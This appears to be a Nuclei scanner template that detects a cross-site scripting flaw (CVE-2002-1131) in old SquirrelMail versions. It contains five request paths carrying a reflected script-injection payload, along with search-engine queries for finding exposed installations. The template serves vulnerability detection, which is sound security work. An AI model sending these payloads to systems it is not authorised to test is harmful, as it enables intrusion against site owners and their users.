SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting

id: CVE-2002-1131

info:
  name: SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting
  author: dhiyaneshDk,s4e-io
  severity: high
  description: The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to a patched version of SquirrelMail or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - http://www.redhat.com/support/errata/RHSA-2002-204.html
    - http://www.debian.org/security/2002/dsa-191
    - http://sourceforge.net/project/shownotes.php?group_id=311&release_id=110774
    - https://www.exploit-db.com/exploits/21811
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2002-1131
    cwe-id: CWE-80
    epss-score: 0.25754
    epss-percentile: 0.97701
    cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    vendor: squirrelmail
    product: squirrelmail
    shodan-query:
      - http.title:"squirrelmail"
      - cpe:"cpe:2.3:a:squirrelmail:squirrelmail"
    fofa-query: title="squirrelmail"
    google-query: intitle:"squirrelmail"
  tags: cve,cve2002,edb,xss,squirrelmail,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search'
      - '{{BaseURL}}/src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search'
      - '{{BaseURL}}/src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "</script><script>alert(document.domain)</script>")'
          - 'contains(tolower(body), "squirrelmail")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220656e5cbd0695a9a8165d3f32292748f21765712eeb9eb3c0d07a886cee863764022100a468ed8f3f4ba37a8c87997c09df2c2181f726c314ec5fc811e4169a6d7fc8dc:922c64590222798bb761d5b6d8e72950